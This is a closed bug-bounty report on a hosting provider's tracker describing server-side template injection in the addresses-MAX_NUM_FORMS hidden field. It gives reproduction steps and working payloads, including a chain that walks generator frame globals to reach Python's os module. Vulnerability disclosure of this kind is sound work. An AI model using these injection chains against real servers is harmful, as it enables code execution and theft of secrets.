Security vulnerabilities

  • Status Closed
  • Assigned To
    cbay
  • Private
Attached to Project: Security vulnerabilities
Opened by Siddharthsharma9449 - 18.11.2026
Last edited by cbay - 23.11.2026

FS#556 - SSTI in addresses-MAX_NUM_FORMS Hidden Field Leads to RCE

Summary

The addresses-MAX_NUM_FORMS hidden field on /site/add/ is reflected through an unescaped Django template on form submission. Injecting template expressions causes server-side evaluation, reaching Python objects, leading to Remote Code Execution

Steps to Reproduce


1. Log in to the test account and open https://admin.alwaysdata.com/site/add/.

2. Open devtools → Elements and search for addresses-MAX_NUM_FORMS. You'll find, inside the "Addresses" block:
<input type="hidden" name="addresses-MAX_NUM_FORMS" value="100000" id="id_addresses-MAX_NUM_FORMS">

3. Change its value to:
live{{7|add:42}}live

4. Leave the address field empty and change nothing else. Click the form's submit button.

5. The page comes back with errors ("At least one address must be specified", "Max num forms : Enter a whole number"). View the page source and search for addresses-MAX_NUM_FORMS again:
<input type="hidden" name="addresses-MAX_NUM_FORMS" value="live49live" id="id_addresses-MAX_NUM_FORMS">
   
49 means the server evaluated the template expression. 

Second step, showing it reaches Python objects

6. Reload /site/add/ (fresh form), set the same field to:

RCE-{{form.forms.gi_frame.f_globals.django.conf.os.uname.nodename}}-{{form.forms.gi_frame.f_globals.django.conf.os.getuid}}
   
and submit the same way. Live result was value="RCE-overlord-core-33", the panel worker's process id.

Impact

Attacker can execute arbitrary commands on the server, read SECRET_KEY, environment variables, and internal server details — resulting in full server compromise.

Closed by  cbay
23.11.2026 09:19
Reason for closing:  Fixed
Admin
cbay commented on 19.11.2026 07:38

Hello,

Can you verify that the vulnerability is fixed?

Kind regards,
Cyril

Hi, I have checked and found the vulnerability is fixed. Can I claim the reward.

Admin
cbay commented on 19.11.2026 14:36

Thanks!

You can claim your bounty by opening a support ticket.

Loading...

Available keyboard shortcuts

Tasklist

Task Details

Task Editing